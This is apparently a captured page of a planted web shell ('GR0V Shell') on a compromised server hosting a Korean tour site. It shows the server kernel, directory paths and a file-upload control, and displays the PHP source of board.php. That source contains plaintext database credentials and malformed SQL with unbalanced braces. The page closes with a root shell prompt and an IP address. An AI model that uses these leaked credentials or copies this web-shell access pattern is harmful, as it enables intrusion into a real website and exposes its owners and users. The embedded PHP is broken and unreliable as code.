? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html_bk/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html_bk/board.php

<? include("headero.php");?>           

<style type="text/css">
<!--
.style5 {
	font-size: 14px;
	color: #34BCEC;
	font-weight: bold;
}
.style7 {font-size: 12px; color: #333333; }
.style8 {color: #003399}
-->
</style>
<table width="1001" border="0" align="center" cellpadding="0" cellspacing="0">
  <!-- fwtable fwsrc="Untitled" fwbase="home.jpg" fwstyle="Dreamweaver" fwdocid = "742308039" fwnested="0" -->
  <tr>
   <td width="423"><img src="images/spacer.gif" width="423" height="1" border="0" alt=""></td>
   <td width="16"><img src="images/spacer.gif" width="16" height="1" border="0" alt=""></td>
   <td width="225"><img src="images/spacer.gif" width="225" height="1" border="0" alt=""></td>
   <td width="315"><img src="images/spacer.gif" width="315" height="1" border="0" alt=""></td>
   <td width="21"><img src="images/spacer.gif" width="21" height="1" border="0" alt=""></td>
   <td width="10"><img src="images/spacer.gif" width="1" height="1" border="0" alt=""></td>
  </tr>

  
  <tr>
    <td colspan="5" bgcolor="#FFFFFF"><div align="center"> 
        <table width="1152" border="0" cellspacing="0" cellpadding="0">
          <tr valign="top"> 
            <td width="10" bgcolor="#FFFFFF">&nbsp;</td>
            <td width="1141"><table width="1140" border="0" cellspacing="1" cellpadding="1">
              
              <tr>
                <td width="1136">&nbsp;</td>
              </tr>
              <tr>
                <td valign="top"><br />
                  <center>
                  <?
$objConnect = mysql_connect("localhost","happyworld_trips","savage") or die(mysql_error());
		$objDB = mysql_select_db("happyworld_trips");
		$strSQL = "SELECT * FROM jos_kunena_messages'";


		$objQuery = mysql_query($strSQL);
		$Num_Rows = mysql_num_rows($objQuery);

		$Per_Page = 12;   // Per Page

		$Page = $_GET["Page"];
		if(!$_GET["Page"])
		{
			$Page=1;
		}

		$Prev_Page = $Page-1;
		$Next_Page = $Page+1;

		$Page_Start = (($Per_Page*$Page)-$Per_Page);
		if($Num_Rows<=$Per_Page)
		{
			$Num_Pages =1;
		}
		else if(($Num_Rows % $Per_Page)==0)
		{
			$Num_Pages =($Num_Rows/$Per_Page) ;
		}
		else
		{
			$Num_Pages =($Num_Rows/$Per_Page)+1;
			$Num_Pages = (int)$Num_Pages;
		}

		$strSQL .=" order  by ID ASC LIMIT 10";
		$objQuery  = mysql_query($strSQL);


		echo"<table border=\"0\"  cellspacing=\"1\" cellpadding=\"1\"><tr>";
		$intRows = 0;
		while($objResult = mysql_fetch_array($objQuery))
		{
			echo "<td>"; 
			$intRows++;
	?>
                  <center>
                    <table width="30%" border="0" cellspacing="1" cellpadding="1">
                      <tr>
                        <td width="70"><div align="center"> <img src="images/icon_board_default.gif" width="16" height="16" /></div></td>
                        <td width="229"><a href="http://happytokorea.com/index.php?option=com_kunena&amp;func=view&amp;catid=<? echo "$id"; ?>&amp;id=<? echo "$id"; ?>"><? echo substr($topic,0,45)."..";?></a> </td>
                        </tr>
                    </table>
                  </center>
                   <?
}
}
?>
                  <br /></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
              </tr>
            </table></td>
          </tr>
        </table>
      </div></td>
   <td><img src="images/spacer.gif" width="1" height="25" border="0" alt=""></td>
  </tr>
</table><? include("footer.php");?>

</body>
</html>

T1KUS90T
  root-grov@210.1.60.28:~$